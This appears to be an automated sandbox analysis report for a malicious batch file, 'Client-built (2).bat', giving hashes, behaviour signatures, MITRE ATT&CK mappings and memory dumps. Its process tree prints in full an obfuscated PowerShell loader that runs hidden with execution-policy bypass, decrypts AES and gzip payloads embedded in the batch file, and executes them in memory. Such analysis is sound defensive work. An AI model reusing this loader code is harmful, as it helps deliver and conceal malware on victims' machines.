d515f6ca3e692713a94fe4066bbba25b4d6157af0606ca17bde5c0d4f3a6e02b

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11/05/2024, 00:52

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General

Target

Client-built (2).bat
Size

1.6MB
MD5

da7beeb28254ec3bb319060398c5818a
SHA1

99378e5615053698c3adcd02732389dc71d2b2eb
SHA256

d515f6ca3e692713a94fe4066bbba25b4d6157af0606ca17bde5c0d4f3a6e02b
SHA512

7d6322396e8ecbe5e3303dd96cc1a396037d2f7d47b50714725b1138f4fc650b0ccfa1a43dd233703a860c1109a21eba527a1714319f4a08bf1a23d4b9c4a0b2
SSDEEP

24576:W0aS2MAjGvh1FiDkgGi2P6xE/NPe+JXe5PRnr1uyQAI9elDqYemJe+RTeteMuSdb:NaeAjWFb/gEYtX0FmhRpTj0

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2212	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2212	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2212	2320	cmd.exe	29
PID 2320 wrote to memory of 2212	2320	cmd.exe	29
PID 2320 wrote to memory of 2212	2320	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Client-built (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Fulx5naUxxJC4PEh/asEOXXmfMdH8rl9wkrrsuGUwkE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X+M2T7L88iDz+qwc/2xk3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vHkOv=New-Object System.IO.MemoryStream(,$param_var); $cMQor=New-Object System.IO.MemoryStream; $hCTUY=New-Object System.IO.Compression.GZipStream($vHkOv, [IO.Compression.CompressionMode]::Decompress); $hCTUY.CopyTo($cMQor); $hCTUY.Dispose(); $vHkOv.Dispose(); $cMQor.Dispose(); $cMQor.ToArray();}function execute_function($param_var,$param2_var){ $KPBbX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zVfPe=$KPBbX.EntryPoint; $zVfPe.Invoke($null, $param2_var);}$VnwnK = 'C:\Users\Admin\AppData\Local\Temp\Client-built (2).bat';$host.UI.RawUI.WindowTitle = $VnwnK;$HPJZc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($VnwnK).Split([Environment]::NewLine);foreach ($kTnXf in $HPJZc) { if ($kTnXf.StartsWith(':: ')) { $GNmwQ=$kTnXf.Substring(3); break; }}$payloads_var=[string[]]$GNmwQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2212-4-0x000007FEF647E000-0x000007FEF647F000-memory.dmp

Filesize
4KB

Download
memory/2212-5-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2212-8-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-10-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-9-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-7-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-6-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2212-11-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-12-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download